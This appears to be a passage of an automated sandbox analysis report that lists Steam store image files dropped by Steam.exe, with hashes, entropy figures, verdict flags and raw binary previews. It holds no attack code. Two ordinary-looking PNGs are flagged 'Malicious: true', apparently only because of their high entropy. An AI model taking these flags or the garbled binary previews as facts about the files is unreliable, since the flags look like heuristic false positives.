Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:E40FB38FA69A11E1B9358F9CAD90EE4E" xmpMM:InstanceID="xmp.iid:E40FB38EA69A11E1B9358F9CAD90EE4E" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>9<.^..7.IDATx..y...}.}.7..... ..$%P.EJ.%[.-Y.d.-%.

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\legend_stick_left.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 97 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2423
Entropy (8bit):	7.570879667820844
Encrypted:	false
SSDEEP:
MD5:	2AC6690EF4B2534E4E54E082A49DE705
SHA1:	0D6141A60D5AA7EB257ED456DA18B3CD0DFAB29A
SHA-256:	6CCF4F452CCF8073340B05E6E53123E6AE7609C771D7951DA46E75BE08EE23E7
SHA-512:	6832C24B640AEE7241887EAD38F6F87874E4D1CC1B6313306E805B34C1E3B89D542C3219B9956B58F0FE9474B5247E57541E7A53EBE497DAB839449329DB62D7
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...a.........8.w.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:9E5B155CAB7611E19EB0DFBD9948A08D" xmpMM:DocumentID="xmp.did:9E5B155DAB7611E19EB0DFBD9948A08D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:9E5B155AAB7611E19EB0DFBD9948A08D" stRef:documentID="xmp.did:9E5B155BAB7611E19EB0DFBD9948A08D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>$..Y....IDATx..\mN.<.vW...67X.....4.........r......{.....H...\`.....?...cv....Cv..%-.c.......f..:........$.i.L@...

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\legend_stick_right.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 97 x 46, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2590
Entropy (8bit):	7.613792936275299
Encrypted:	false
SSDEEP:
MD5:	C7A044CE5A35772CF2D465D18ED991AB
SHA1:	1B0A4D4A62D667CDE0EC6907BD9F008E16DA4109
SHA-256:	8C8E35C2758A87A12DA8D61922490BC5FD85E8A0DB3EDD2D330C91141B7FFEDD
SHA-512:	2D46FEFAC82D0ED785ED562256C58AD571DC429339C7423B9572841088B37774BE9A3BCB93386AF05F45E4B055658716A3D61CCCEBF4D9789324E4C0546C9B9B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...a.........8.w.....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:962DFA88AB7611E1AD5989134318F5CD" xmpMM:DocumentID="xmp.did:962DFA89AB7611E1AD5989134318F5CD"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:962DFA86AB7611E1AD5989134318F5CD" stRef:documentID="xmp.did:962DFA87AB7611E1AD5989134318F5CD"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>........IDATx..\.N.H.v .Hk.``...hr..A....8.^I..pZn..r..3.2..Y..@..B..8<.N.......d...P..v.'.QJ.d..Nw}].U..B.rYj..J....//

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\mastercard.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	28714
Entropy (8bit):	5.430570087531333
Encrypted:	false
SSDEEP:
MD5:	76081EA24AAD313B9B811B1FD14C3E3E
SHA1:	F2DC6938CE21B68C79834A09596A773EDEAE82CC
SHA-256:	988F862404DF6F00250F8FEE640D2B9E2AAC001C9ED03746B5DB73875D8365E1
SHA-512:	5872ABE577F5F9982AEA21BF4A3B1A4E3DABF6061B79E6F288121915AB65E4114497937C6FE2321224F96722A2D8F635A9BDF3CEFCECF65602B75BC78FAB9642
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....pHYs...............:eiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?>.<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01 ">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/". xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#". xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#". xmlns:xmp="http://ns.adobe.com/xap/1.0/". xmlns:dc="http://purl.org/dc/elements/1.1/". xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/". xmlns:tiff="http://ns.adobe.com/tiff/1.0/". xmlns:exif="http://ns.adobe.com/exif/1.0/">. <xmpMM:OriginalDocumentID>xmp.did:9A4185F711A6E111A3F099D455B8770A</xmpMM:OriginalDocumentID>. <xmpMM:DocumentID>xmp.did:FAB0D279A69A11E195

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\metacritic.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4637
Entropy (8bit):	7.918165246226496
Encrypted:	false
SSDEEP:
MD5:	F57EEAAC714969985DD31B3F84E506DC
SHA1:	287FDE7B58EFAA864E6A5C014D6C4E81B4F48048
SHA-256:	2ADD9D3E03F5064C910E2ED07D6127D14FAA649197472E6E05BF150E39CF5E4D
SHA-512:	3FEE678855AA2F70A8638838F90028E4382A7C0FCA737B649245BA7C3A1FD922463E32DB2464BB472508DF54B298E2E92D3D4957B72DE3010404C12930CC61CE
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR... ... .....szz.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\moneybookers.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	17915
Entropy (8bit):	7.960313079052615
Encrypted:	false
SSDEEP:
MD5:	6808B500B3F8371A558F16A8DBF007E0
SHA1:	77214EAC10EFF0F6809A0D3A3129A118C4F4419C
SHA-256:	57AE3A296E819D6DF1C937575E13F17DCF55FA621E93D179E4486BA96116A08C
SHA-512:	711F0E1C638DFB5C10543586F46018AE8EF741FB85B2848F30B810AE00C1BA97144B9996AEEE68390B097EFA7AB6D878027D4282C6878F258F1101CC69E279DB
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:265543F1A69A11E1AB5D9676D9672EF9" xmpMM:InstanceID="xmp.iid:265543F0A69A11E1AB5D9676D9672EF9" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.s5..B-IDATx..}.t#.qv!.@0.]n...._....s\|... 9.Q.Sv.>

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\paypal.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15356
Entropy (8bit):	7.954599841603064
Encrypted:	false
SSDEEP:
MD5:	DF6380FC54685347C4F75E1C3D37E0D0
SHA1:	9169DBFEC444BE6E1D0E915D334C4EAD0AE2E897
SHA-256:	49093C1940768E0D8788E90E180D08262694D0AD292BE11FF33C68ED673FEF1A
SHA-512:	C98804C146704B320F920414070DCDC03AFE63EBD0ABE1DB84F9E7E4BAD604B8F4F451E6ACB71BC9D9B40C1DDD36C5581855A4D1A3C452F974D557A9F3CE395B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:0F284C77A69B11E1B4C8DEA993F8A0F2" xmpMM:InstanceID="xmp.iid:0F284C76A69B11E1B4C8DEA993F8A0F2" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>....8.IDATx.......O..9GM...9 d.. ,..N<..>{...o.{^

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\paysafe.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10892
Entropy (8bit):	7.927489573001744
Encrypted:	false
SSDEEP:
MD5:	C003E2CABE1B4F0024F48E0D128043D1
SHA1:	30A1E0A9B0355D81178415865376AE325CB7FFD7
SHA-256:	0274746F53DCF443E9D86E9BACB870E1A519F9B60D7DF1EEB9DC9E4067334E3F
SHA-512:	A9FDC7986004AF4B7B2DD629D37CAC840501814C0C915C72A993CF0F5BEA5AF34F08D95EAA7E328C69988589FA851E8D74AF481834111BAAFBC289B929333F86
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:1F01E3F1A69A11E1B2D7B3681AE86A4A" xmpMM:InstanceID="xmp.iid:1F01E3F0A69A11E1B2D7B3681AE86A4A" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>P.4K..&.IDATx......y..U]..=.F.h.%......0....1.;N..1.M

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\qiwi.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	20263
Entropy (8bit):	7.967419709095184
Encrypted:	false
SSDEEP:
MD5:	9A3D6E9096C7F5AD12E72FFA681CFB1C
SHA1:	7280041DEC2351BF8CB86F5E2A8B3D12F1865522
SHA-256:	755487B2B1541B5769B3C8B7FABE50CBBC22BC6C3F886DBCA82F5E976215CB0E
SHA-512:	2FB6824382AB32FBC3F9CE183F273B0CDF510041D5273318DA5B4C657CED776A4F43D68B8D4CE138BE904ED874611ED7DE64F57280DF6891CBAFE434593BD95D
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:156D87FEA69B11E1B9E6DC0E291334DF" xmpMM:InstanceID="xmp.iid:156D87FDA69B11E1B9E6DC0E291334DF" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.Asd..KYIDATx....$Wu&.....YK..].z_.....$......f.....

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\recommend_bubble.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2939
Entropy (8bit):	7.875342655945151
Encrypted:	false
SSDEEP:
MD5:	69460F1A563231DA0F7E75F571321E10
SHA1:	EA8CB38186D9DE186350D27A1D83079B9CFD5893
SHA-256:	7FEB24A2D7CBE413B0A111BF3C9B8CAD673FEB32F121219F96373FFD00AACC5C
SHA-512:	8E2967356525912982085E535B87A3B9F435EF273EDB8B4411B0FD3A6021F2A9AA2E2980FCBF65BA5223867E53E3A057C7CF4B9ABA1B2CC13FEE97D3B9BDD47B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR..............w=.....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\shadow.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 400 x 125, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	8126
Entropy (8bit):	7.941071295887598
Encrypted:	false
SSDEEP:
MD5:	0F5CA5BC799DA672EB5037E6BA78BA31
SHA1:	F0102EE50EF6103AFE25C135C61C9EA3462AA249
SHA-256:	18ED52B994C11DB1B03F3AC042D620EDC42E0240292C3FAED681AFA6E685DDA3
SHA-512:	6A1816B3A881D81062157C12D22519ABCB21B248D88DAEE53E2D17ED1BA94020A547AE8DD24D8114908428737B259751F3ED98260232A5B26C84A751A2FBD0C4
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......}.......5$....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\slideshow_glow.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 77, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	73898
Entropy (8bit):	7.988895756176418
Encrypted:	false
SSDEEP:
MD5:	78E46968316DEB2D9ED3C23731895954
SHA1:	B87475219B784BECBEE8E29A2702BD897C7E2BD4
SHA-256:	84FF416D9B7C1FBEFE5497AE9B9F0603531A036CE5E08C45A7E1C6030154CE5C
SHA-512:	1F551C20E1461423ECEFDFEE5BEFF3C13CFFB401F3E0FD8B65BDEFE4892545B7D3D69415F1DF10AC4DFBE59768A41C828F83C821AA91C646D53CC80CEED1C16A
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR.......M.....Gsy"....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\sofort.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 250 x 157, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	15109
Entropy (8bit):	7.953176411689775
Encrypted:	false
SSDEEP:
MD5:	EDFA681C30D327ABD1555924F61C44C9
SHA1:	19492A961678C4F3B5ADAB7033305ADC5F0E7C82
SHA-256:	3A282758C6076E35327464CE7ED7CEF02B4CC95DC952E5EC80D5E68A3B0D9528
SHA-512:	9B06AF7A0680EF0EB9E8857F9399D0595C493EC9A3208658DBFE4317AF0C3278198CA0429F1E28A5734196F003F0F1DA4B10B82BBFD9FCFE65F72C7CBEF128FA
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............e.....tEXtSoftware.Adobe ImageReadyq.e<...diTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:9A4185F711A6E111A3F099D455B8770A" xmpMM:DocumentID="xmp.did:1A312086A69A11E1AE588DB7702F6498" xmpMM:InstanceID="xmp.iid:1A312085A69A11E1AE588DB7702F6498" xmp:CreatorTool="Adobe Photoshop CS5 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:4328726798A6E111BEF8C13E90EAAF20" stRef:documentID="xmp.did:9A4185F711A6E111A3F099D455B8770A"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>k.....77IDATx..yt....U.h.e[.%o.7..m......$$.,L&/!g

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\store_app_bg.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 1920 x 948, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1284295
Entropy (8bit):	7.996615864263247
Encrypted:	true
SSDEEP:
MD5:	5C412280069C4481C9D828C7B955E9FB
SHA1:	A4C511B2E41B9D7739DB3E591FE4C673C30D82C9
SHA-256:	F05298C74917779B8A225993DE7F09465354293FE3BBDCF25705453EA501DF6D
SHA-512:	F1EE993C768FCDFF93B1717C577BCC77AE11DFB72ACE1997F9A9F1A5554C74E11677EB4BBD3B7D8BE167607E738086019794976662C2C3318E0D5BA3B7F940B1
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR.............D.+n....pHYs................OiCCPPhotoshop ICC profile..x.SgTS..=...BK...KoR.. RB....&!..J.!...Q..EE..........Q,......!.........{.k.......>........H3Q5...B..........@..$p....d!s.#...~<<+".....x.....M..0.....B.\.....t.8K....@z.B..@F....&S....`.cb..P-.`'........{..[.!..... .e.D.h;...V.E.X0..fK.9..-.0IWfH.............0Q..)..{.`.##x.....F.W<.+.....x..<.$9E.[.-q.WW..(.I.+.6a.a.@..y..2.4..............x.....6..._-..."bb....p@...t~..,/...;..m..%..h^..u..f..@.....W.p.~<<E.........J.B[a.W}.g._.W.l.~<.....$.2].G......L.....b..G.......".Ib.X..Q.q.D...2.".B.).%..d..,..>.5..j>.{.-.]c..K'.Xt......o..(...h...w..?.G.%..fI.q..^D$.T.?....D...A....,.........`6.B$..B.B.d..r`)..B(...*`/.@.4.Qh..p...U..=p..a...(....A...a!..b.X#......!.H...$ ..Q"K.5H1R.T UH..=r.9.\F..;..2....G1...Q=...C..7..F...dt1......r..=.6...h..>C.0....3.l0...B.8,..c."......V.....c.w...E..6.wB a.AHXLXN.H. .$4...7...Q.'"..K.&.....b21.XH,#..../.{.C.7$..C2'...I..T...F.nR#.,..4H.#...dk..9.,

C:\Program Files (x86)\Steam\package\tmp\tenfoot\resource\images\store\trailer_tv.png_

Download File

Process:	C:\Program Files (x86)\Steam\Steam.exe
File Type:	PNG image data, 460 x 215, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	143933
Entropy (8bit):	7.997678248476859
Encrypted:	true
SSDEEP:
MD5:	B0338CA23AB21D1ABFD625B56D9EAE2A
SHA1:	203C5D87128E2C9B52C8268510E0B948EF5E0A0F
SHA-256:	EEF59635C92C2D5E96E47910FB598EE13017B24228F63B3A765F18CCB50C5EE7
SHA-512:	0827AC23927B354D0F9876A5544C662D91F7E12B1D3F6C73D01D54802040A90D09ADE057625C2E62CA7B58F257F8C756294E8B325A5AF87780B5168900CB331A
Malicious:	true
Reputation:	unknown
Preview:	.PNG........IHDR................=....tEXtSoftware.Adobe ImageReadyq.e<... iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.0-c060 61.134777, 2010/02/12-17:32:00 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe Photoshop CS5 Windows" xmpMM:InstanceID="xmp.iid:DE6F7CAC390611E2B4D396D585C1F0DF" xmpMM:DocumentID="xmp.did:DE6F7CAD390611E2B4D396D585C1F0DF"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:DE6F7CAA390611E2B4D396D585C1F0DF" stRef:documentID="xmp.did:DE6F7CAB390611E2B4D396D585C1F0DF"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> 